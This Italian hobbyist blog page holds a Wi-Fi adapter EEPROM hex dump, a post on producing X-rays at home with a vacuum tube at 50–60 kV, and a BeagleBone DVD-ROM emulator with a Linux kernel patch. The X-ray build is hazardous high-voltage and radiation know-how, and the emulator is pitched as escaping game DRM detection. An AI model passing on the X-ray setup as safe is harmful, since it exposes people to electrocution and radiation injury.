In questo modo il driver al collegamento di una periferica rt2800usb andrà a cercare un file in /lib/firmware/rt2800usb_eeprom.bin contenente la EEPROM da utilizzare.
Purtroppo ci sono delle limitazioni, ad esempio non si possono usare più ralink 2800usb con eeprom danneggiata nello stesso sistema.
Allego di seguito la eeprom della mia ALFA , dovete assolutamente modificare il mac address con il vostro , oppure metterne uno casuale ( è consigliabile lasciare inalterati i primi 3 byte )
0000:0000 | 70 27 04 01 00 C0 CA 32 | p'...ÀÊ2
0000:0008 | B7 FE FF FF FF FF FF FF | ·Dÿÿÿÿÿÿ
0000:0010 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0018 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0020 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0028 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0030 | FF FF FF FF 12 04 20 00 | ÿÿÿÿ.. .
0000:0038 | FF FF 15 01 FF FF FF FF | ÿÿ..ÿÿÿÿ
0000:0040 | FF FF FF FF 09 04 00 00 | ÿÿÿÿ....
0000:0048 | 00 04 00 00 00 03 FF FF | ......ÿÿ
0000:0050 | FF FF 02 02 02 02 02 03 | ÿÿ......
0000:0058 | 03 03 03 03 03 03 03 03 | ........
0000:0060 | 00 00 00 00 00 00 00 00 | ........
0000:0068 | 00 00 00 00 00 00 FF FF | ......ÿÿ
0000:0070 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0078 | 06 06 06 06 06 06 06 06 | ........
0000:0080 | 06 06 06 06 05 05 05 05 | ........
0000:0088 | 05 05 05 05 05 05 06 06 | ........
0000:0090 | 06 06 06 06 06 06 06 06 | ........
0000:0098 | 06 06 07 FF FF FF FF FF | ...ÿÿÿÿÿ
0000:00A0 | FF FF FF FF FF FF 00 00 | ÿÿÿÿÿÿ..
0000:00A8 | 00 00 00 00 00 00 00 00 | ........
0000:00B0 | 00 00 00 00 00 00 00 00 | ........
0000:00B8 | 00 00 00 00 00 00 00 00 | ........
0000:00C0 | 00 00 00 00 00 00 00 00 | ........
0000:00C8 | 00 FF FF FF FF FF FF FF | .ÿÿÿÿÿÿÿ
0000:00D0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:00D8 | FF FF FF FF FF FF 88 88 | ÿÿÿÿÿÿ..
0000:00E0 | 99 AA 88 66 AA AA 88 66 | .ª.fªª.f
0000:00E8 | AA AA 88 66 AA AA 88 66 | ªª.fªª.f
0000:00F0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:00F8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0100 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0108 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0110 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0118 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0120 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0128 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0130 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0138 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0140 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0148 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0150 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0158 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0160 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0168 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0170 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0178 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0180 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0188 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0190 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0198 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01A0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01A8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01B0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01B8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01C0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01C8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01D0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01D8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01E0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01E8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01F0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01F8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0200 | 12 01 00 02 00 00 00 40 | .......@
0000:0208 | 8F 14 70 27 01 01 01 02 | ..p'....
0000:0210 | 03 01 0A 06 00 02 00 00 | ........
0000:0218 | 00 40 01 00 09 02 35 00 | .@....5.
0000:0220 | 01 01 00 80 E1 09 04 00 | ....á...
0000:0228 | 00 07 FF FF FF 05 07 05 | ..ÿÿÿ...
0000:0230 | 81 02 00 02 00 07 05 01 | ........
0000:0238 | 02 00 02 00 07 05 02 02 | ........
0000:0240 | 00 02 00 07 05 03 02 00 | ........
0000:0248 | 02 00 07 05 04 02 00 02 | ........
0000:0250 | 00 07 05 05 02 00 02 00 | ........
0000:0258 | 07 05 06 02 00 02 00 B8 | .......¸
0000:0260 | 11 7D 08 0D 00 00 00 00 | .}......
0000:0268 | 54 69 7A 69 61 6E 6F 42 | TizianoB
0000:0270 | 61 63 6F 63 63 6F 48 41 | acoccoHA
0000:0278 | 43 4B 20 20 00 00 00 00 | CK ....
0000:0280 | 12 01 00 02 00 00 00 40 | .......@
0000:0288 | 8F 14 70 28 01 00 06 07 | ..p(....
0000:0290 | 08 01 0A 06 00 02 00 00 | ........
0000:0298 | 00 40 01 00 09 02 20 00 | .@.... .
0000:02A0 | 01 01 00 80 E1 09 04 00 | ....á...
0000:02A8 | 00 02 08 06 50 0A 07 05 | ....P...
0000:02B0 | 81 02 00 02 00 07 05 01 | ........
0000:02B8 | 02 00 02 00 00 00 00 00 | ........
0000:02C0 | 00 00 00 00 00 00 00 00 | ........
0000:02C8 | 00 00 00 00 00 00 00 00 | ........
0000:02D0 | 00 00 00 00 00 00 00 00 | ........
0000:02D8 | 00 00 00 00 00 00 00 00 | ........
0000:02E0 | 00 00 3F 00 00 00 00 00 | ..?.....
0000:02E8 | 00 00 00 00 00 00 00 00 | ........
0000:02F0 | 00 60 70 A2 FF A2 60 70 | .`p¢ÿ¢`p
0000:02F8 | A2 FF A2 FF FF FF FF FF | ¢ÿ¢ÿÿÿÿÿ
0000:0300 | 04 03 09 04 00 00 00 00 | ........
0000:0308 | 00 00 00 00 00 00 00 00 | ........
0000:0310 | 00 00 00 00 00 00 00 00 | ........
0000:0318 | 00 00 00 00 00 00 00 00 | ........
0000:0320 | 00 00 00 00 00 00 00 00 | ........
0000:0328 | 00 00 00 00 00 00 00 00 | ........
0000:0330 | 00 00 00 00 00 00 00 00 | ........
0000:0338 | 00 00 00 00 00 00 00 00 | ........
0000:0340 | 00 00 00 00 00 00 00 00 | ........
0000:0348 | 00 00 00 00 00 00 00 00 | ........
0000:0350 | 00 00 00 00 00 00 00 00 | ........
0000:0358 | 00 00 00 00 00 00 00 00 | ........
0000:0360 | 0E 03 52 00 61 00 6C 00 | ..R.a.l.
0000:0368 | 69 00 6E 00 6B 00 00 00 | i.n.k...
0000:0370 | 1E 03 38 00 30 00 32 00 | ..8.0.2.
0000:0378 | 2E 00 31 00 31 00 20 00 | ..1.1. .
0000:0380 | 6E 00 20 00 57 00 4C 00 | n. .W.L.
0000:0388 | 41 00 4E 00 00 00 00 00 | A.N.....
0000:0390 | 04 03 09 04 00 00 00 00 | ........
0000:0398 | 00 00 00 00 00 00 00 00 | ........
0000:03A0 | 00 00 08 03 31 00 2E 00 | ....1...
0000:03A8 | 30 00 00 00 00 00 00 00 | 0.......
0000:03B0 | 00 00 00 00 00 00 00 00 | ........
0000:03B8 | 00 00 00 00 00 00 00 00 | ........
0000:03C0 | 00 00 00 00 00 00 00 00 | ........
0000:03C8 | 00 00 00 00 00 00 00 00 | ........
0000:03D0 | 00 00 00 00 00 00 00 00 | ........
0000:03D8 | 00 00 00 00 00 00 00 00 | ........
0000:03E0 | 00 00 00 00 00 00 00 00 | ........
0000:03E8 | 00 00 00 00 00 00 00 00 | ........
0000:03F0 | 00 00 00 00 00 00 00 00 | ........
0000:03F8 | 00 00 00 00 00 00 00 00 | ........
martedì 3 settembre 2013
[FISICA] Produrre raggi X in casa senza ricorrere a componenti costosi
Introduzione
Quello che illustrerò di seguito è come produrre raggi X in casa utilizzando componenti facilmente reperibili, tuttavia i raggi X prodotti, non sono assolutamente sufficienti per fare una lastra, è utile questo esperimento solo per fini didattici.
Pericoli
I raggi X, in modo simile ai raggi ultravioletti nelle ore di punta, possono creare ustioni o nel peggior dei casi tumori, la differenza sostanziale è che i raggi X spesso vanno più in profondità , quindi le eventuali ustioni sono molto più gravi.
Utilizzando una valvola termoionica con accoppiamento capacitivo sul catodo, è difficile produrre dosi pericolose, tuttavia è altamente consigliabile non trovarsi nella stanza quando l'apparecchiatura è attiva.
Funzionamento
Per produrre i raggi X è necessario ottenere una collisione di elettroni sufficientemente accelerati su un bersaglio metallico.
Gli elettroni possono essere facilmente accelerati da una differenza di potenziale applicata ai 2 estremi di una valvola termoionica.
Viene usata una valvola termoionica, perché è il tubo con vuoto spinto più facilmente reperibile e più economico.
Nella figura in alto:
1: Valvola termoionica
2: Sonda Beta+Gamma del contatore geiger SV-500 schermata e collegata a terra
3:Webcam USB con ottica rimossa, anche essa schermata e collegata a terra
Il cavo rosa è il catodo, ed è collegato tramite un pezzo di carta stagnola sulla parte superiore della valvola, in questo modo gli elettroni provenienti dal catodo andranno a collidere sui vari elementi metallici della valvola collegati all'anodo e quindi produrranno raggi X
1: Trasformatore di riga TV
2: Trasformatore avvolto su nucleo di un altro trasformatore di riga , serve ad alzare il voltaggio dell'inverter ZVS
3:Condensatore necessario a limitare la corrente per evitare di rompere il vetro del tubo termoionico
4:Driver ZVS di Mazzilli
5: Collegamento a terra
Lo scopo di questo circuito è di fornire una tensione di almeno 50-60000 volt per accelerare sufficientemente gli elettroni all'interno del tubo
È inutile riportare il numero di giri dei vari avvolgimenti in quanto andranno trovati in ogni caso sperimentalmente.
Questo è quanto basta per produrre raggi X, per verificare che vengano prodotti viene usato un contatore geiger con una sonda sensibile ai raggi beta la quale deve essere assolutamente schermata e collegata a terra.
Una volta realizzato questo esperimento si possono condurre vari esperimenti come ad esempio testare la penetrazione dei raggi X nei vari materiali, oppure sperimentare con altri tipi di rivelatori come ho fatto io, provando con il CCD di una webcam.
Nel mio canale youtube ( http://youtube.com/lo9765 ) ho caricato un video dove viene mostrato il tutto in funzione e a breve ne verrà caricato un altro dove viene mostrato l'uso del sensore CCD come rivelatore di radiazioni.
Anche nel video già presente alla terza volta che alimento il tutto è possibile notare in alto a destra un puntino bianco su un fotogramma il quale indica che un fotone di raggi X ha colpito il sensore CCD del cellulare.
venerdì 12 luglio 2013
How To: Emulatore DVD-ROM Hardware USB
Cosa è un emulatore DVD-ROM hardware
Un emulatore DVD-ROM hardware è un dispositivo che svolge un compito simile a quello di programmi come Daemon Tools o un device loop su linux, ma lo svolge presentandosi come un vero e proprio drive USB dvd-rom.
Le potenzialità di ciò sono che non può essere beccato dai DRM dei videogiochi e permette di fare il boot dal BIOS di qualsiasi ISO senza usare programmi come unetbootin.
Occorrente
- BeagleBone Black
- Una o più macchine con Linux possibilmente decenti ( se si intende ricompilare da se il driver )
- Un minimo di praticità nell'uso di Linux, e nella compilazione di kernel/drivers
Una volta eliminato quel driver e riavviata la board è possibile scaricare il driver per il kernel precompilato della beaglebone qui g_mass_storage.ko .
Per utilizzare il driver è sufficiente eseguire il comando come root:
#insmod g_mass_storage.ko file=/percorsoimmagineiso cdrom=1 ro=1
Una volta eseguito il comando dopo pochi secondi dovrebbe comparire sul PC al quale è collegata la beaglebone un lettore DVD con dentro il "dischetto"
Kernel non standard e sorgenti delle modifiche
Per poter utilizzare immagini ISO > 2.4 GB ho dovuto applicare delle modifiche al driver del gadget mass storage che riporto di seguito:
commit f6037e02d14c57531efc14074aa59b0054227f8c
Author: Tiziano Bacocco <tiziano@localhost.localdomain>
Date: Fri Jul 12 13:04:43 2013 +0200
DVD-ROM Patch
diff --git a/drivers/usb/gadget/f_mass_storage.c b/drivers/usb/gadget/f_mass_storage.c
index 5d027b3..cb87b4a 100644
--- a/drivers/usb/gadget/f_mass_storage.c
+++ b/drivers/usb/gadget/f_mass_storage.c
@@ -1192,6 +1192,7 @@ static int do_read_capacity(struct fsg_common *common, struct fsg_buffhd *bh)
return -EINVAL;
}
+ printk("readcap: %ld\n",curlun->num_sectors-1);
put_unaligned_be32(curlun->num_sectors - 1, &buf[0]);
/* Max logical block */
put_unaligned_be32(curlun->blksize, &buf[4]);/* Block length */
@@ -1220,6 +1221,63 @@ static int do_read_header(struct fsg_common *common, struct fsg_buffhd *bh)
return 8;
}
+static int do_read_disc_information(struct fsg_common* common, struct fsg_buffhd * bh)
+{
+ struct fsg_lun *curlun = common->curlun;
+ if (common->cmnd[1] & ~0x02) { /* Mask away MSF */
+ curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
+ return -EINVAL;
+ }
+ u8* outbuf = (u8*)bh->buf;
+ memset(outbuf,0,34);
+ outbuf[1] = 32;
+ outbuf[2] = 0xe; /* last session complete, disc finalized */
+ outbuf[3] = 1; /* first track on disc */
+ outbuf[4] = 1; /* # of sessions */
+ outbuf[5] = 1; /* first track of last session */
+ outbuf[6] = 1; /* last track of last session */
+ outbuf[7] = 0x20; /* unrestricted use */
+ outbuf[8] = 0x00; /* CD-ROM or DVD-ROM */
+ return 34;
+}
+
+static int do_get_configuration(struct fsg_common *common, struct fsg_buffhd *bh)
+{
+ struct fsg_lun *curlun = common->curlun;
+ if (common->cmnd[1] & ~0x02) { /* Mask away MSF */
+ curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
+ return -EINVAL;
+ }
+ u8* buf = (u8*)bh->buf;
+ int cur;
+ if ( curlun->num_sectors > CD_MAX_SECTORS )
+ {
+ printk("Is dvd\n");
+ cur = MMC_PROFILE_DVD_ROM;
+ }
+ else
+ cur = MMC_PROFILE_CD_ROM;
+ memset(buf,0,40);
+ put_unaligned_be32(36,&buf[0]);
+ put_unaligned_be16(cur,&buf[6]);
+ buf[10] = 0x03;
+ buf[11] = 8;
+ put_unaligned_be16(MMC_PROFILE_DVD_ROM,&buf[12]);
+ buf[14] = ( cur == MMC_PROFILE_DVD_ROM );
+ put_unaligned_be16(MMC_PROFILE_CD_ROM,&buf[16]);
+ buf[18] = ( cur == MMC_PROFILE_CD_ROM );
+ put_unaligned_be16(1,&buf[20]);
+ buf[22] = 0x08 | 0x03;
+ buf[23] = 8;
+ put_unaligned_be32(1,&buf[24]);
+ buf[28] = 1;
+ put_unaligned_be16(3,&buf[32]);
+ buf[34] = 0x08 | 0x3;
+ buf[35] = 4;
+ buf[36] = 0x39;
+ return 40;
+}
+
static int do_read_toc(struct fsg_common *common, struct fsg_buffhd *bh)
{
struct fsg_lun *curlun = common->curlun;
@@ -1245,6 +1303,7 @@ static int do_read_toc(struct fsg_common *common, struct fsg_buffhd *bh)
buf[14] = 0xAA; /* Lead-out track number */
store_cdrom_address(&buf[16], msf, curlun->num_sectors);
return 20;
+
}
static int do_mode_sense(struct fsg_common *common, struct fsg_buffhd *bh)
@@ -1727,9 +1786,9 @@ static int check_command(struct fsg_common *common, int cmnd_size,
if (common->data_dir != DATA_DIR_UNKNOWN)
sprintf(hdlen, ", H%c=%u", dirletter[(int) common->data_dir],
common->data_size);
- VDBG(common, "SCSI command: %s; Dc=%d, D%c=%u; Hc=%d%s\n",
- name, cmnd_size, dirletter[(int) data_dir],
- common->data_size_from_cmnd, common->cmnd_size, hdlen);
+ //printk( "SCSI command: %s; Dc=%d, D%c=%u; Hc=%d%s\n",
+ // name, cmnd_size, dirletter[(int) data_dir],
+ // common->data_size_from_cmnd, common->cmnd_size, hdlen);
/*
* We can't reply at all until we know the correct data direction
@@ -2087,7 +2146,21 @@ static int do_scsi_command(struct fsg_common *common)
if (reply == 0)
reply = do_write(common);
break;
-
+ case 0x51://READ_DISC_INFORMATION
+ common->data_size_from_cmnd = 0;
+ if (!common->curlun || !common->curlun->cdrom)
+ goto unknown_cmnd;
+ printk("READ_DISC_INFORMATION\n");
+
+ reply = do_read_disc_information(common,bh);
+ break;
+ case 0x46://GET_CONFIGURATION
+ common->data_size_from_cmnd = 0;
+ if (!common->curlun || !common->curlun->cdrom)
+ goto unknown_cmnd;
+ printk("GET_CONFIGURATION\n");
+ reply = do_get_configuration(common,bh);
+ break;
/*
* Some mandatory commands that we recognize but don't implement.
* They don't mean much in this setting. It's left as an exercise
diff --git a/drivers/usb/gadget/storage_common.c b/drivers/usb/gadget/storage_common.c
index 0e3ae43..f328ab6 100644
--- a/drivers/usb/gadget/storage_common.c
+++ b/drivers/usb/gadget/storage_common.c
@@ -124,6 +124,42 @@ struct interrupt_data {
#define SS_WRITE_ERROR 0x030c02
#define SS_WRITE_PROTECTED 0x072700
+#define CD_MINS 80 /* max. minutes per CD */
+#define CD_SECS 60 /* seconds per minute */
+#define CD_FRAMES 75 /* frames per second */
+#define CD_FRAMESIZE 2048 /* bytes per frame, "cooked" mode */
+#define CD_MAX_BYTES (CD_MINS * CD_SECS * CD_FRAMES * CD_FRAMESIZE)
+#define CD_MAX_SECTORS (CD_MAX_BYTES / 512)
+
+#define MMC_PROFILE_NONE 0x0000
+#define MMC_PROFILE_CD_ROM 0x0008
+#define MMC_PROFILE_CD_R 0x0009
+#define MMC_PROFILE_CD_RW 0x000A
+#define MMC_PROFILE_DVD_ROM 0x0010
+#define MMC_PROFILE_DVD_R_SR 0x0011
+#define MMC_PROFILE_DVD_RAM 0x0012
+#define MMC_PROFILE_DVD_RW_RO 0x0013
+#define MMC_PROFILE_DVD_RW_SR 0x0014
+#define MMC_PROFILE_DVD_R_DL_SR 0x0015
+#define MMC_PROFILE_DVD_R_DL_JR 0x0016
+#define MMC_PROFILE_DVD_RW_DL 0x0017
+#define MMC_PROFILE_DVD_DDR 0x0018
+#define MMC_PROFILE_DVD_PLUS_RW 0x001A
+#define MMC_PROFILE_DVD_PLUS_R 0x001B
+#define MMC_PROFILE_DVD_PLUS_RW_DL 0x002A
+#define MMC_PROFILE_DVD_PLUS_R_DL 0x002B
+#define MMC_PROFILE_BD_ROM 0x0040
+#define MMC_PROFILE_BD_R_SRM 0x0041
+#define MMC_PROFILE_BD_R_RRM 0x0042
+#define MMC_PROFILE_BD_RE 0x0043
+#define MMC_PROFILE_HDDVD_ROM 0x0050
+#define MMC_PROFILE_HDDVD_R 0x0051
+#define MMC_PROFILE_HDDVD_RAM 0x0052
+#define MMC_PROFILE_HDDVD_RW 0x0053
+#define MMC_PROFILE_HDDVD_R_DL 0x0058
+#define MMC_PROFILE_HDDVD_RW_DL 0x005A
+#define MMC_PROFILE_INVALID 0xFFFF
+
#define SK(x) ((u8) ((x) >> 16)) /* Sense Key byte, etc. */
#define ASC(x) ((u8) ((x) >> 8))
#define ASCQ(x) ((u8) (x))
@@ -165,7 +201,6 @@ static inline struct fsg_lun *fsg_lun_from_dev(struct device *dev)
return container_of(dev, struct fsg_lun, dev);
}
-
/* Big enough to hold our biggest descriptor */
#define EP0_BUFSIZE 256
#define DELAYED_STATUS (EP0_BUFSIZE + 999) /* An impossibly large value */
@@ -540,12 +575,12 @@ static int fsg_lun_open(struct fsg_lun *curlun, const char *filename)
min_sectors = 1;
if (curlun->cdrom) {
min_sectors = 300; /* Smallest track is 300 frames */
- if (num_sectors >= 256*60*75) {
+ /*if (num_sectors >= 256*60*75) {
num_sectors = 256*60*75 - 1;
LINFO(curlun, "file too big: %s\n", filename);
LINFO(curlun, "using only first %d blocks\n",
(int) num_sectors);
- }
+ }*/
}
if (num_sectors < min_sectors) {
LINFO(curlun, "file too small: %s\n", filename);
@@ -562,6 +597,7 @@ static int fsg_lun_open(struct fsg_lun *curlun, const char *filename)
curlun->filp = filp;
curlun->file_length = size;
curlun->num_sectors = num_sectors;
+ printk("lun_open: %zd\n",curlun->num_sectors-1);
LDBG(curlun, "open backing file: %s\n", filename);
return 0;
@@ -596,6 +632,8 @@ static void store_cdrom_address(u8 *dest, int msf, u32 addr)
addr /= 75;
dest[2] = addr % 60; /* Seconds */
addr /= 60;
+ if ( addr > 255 )
+ printk("store_cdrom_address: overflow \n");
dest[1] = addr; /* Minutes */
dest[0] = 0; /* Reserved */
} else {
Questa patch applicata al kernel che si sta compilando permette di ottenere il driver modificato con il supporto alle immagini > 2.4 GB
Iscriviti a:
Post (Atom)


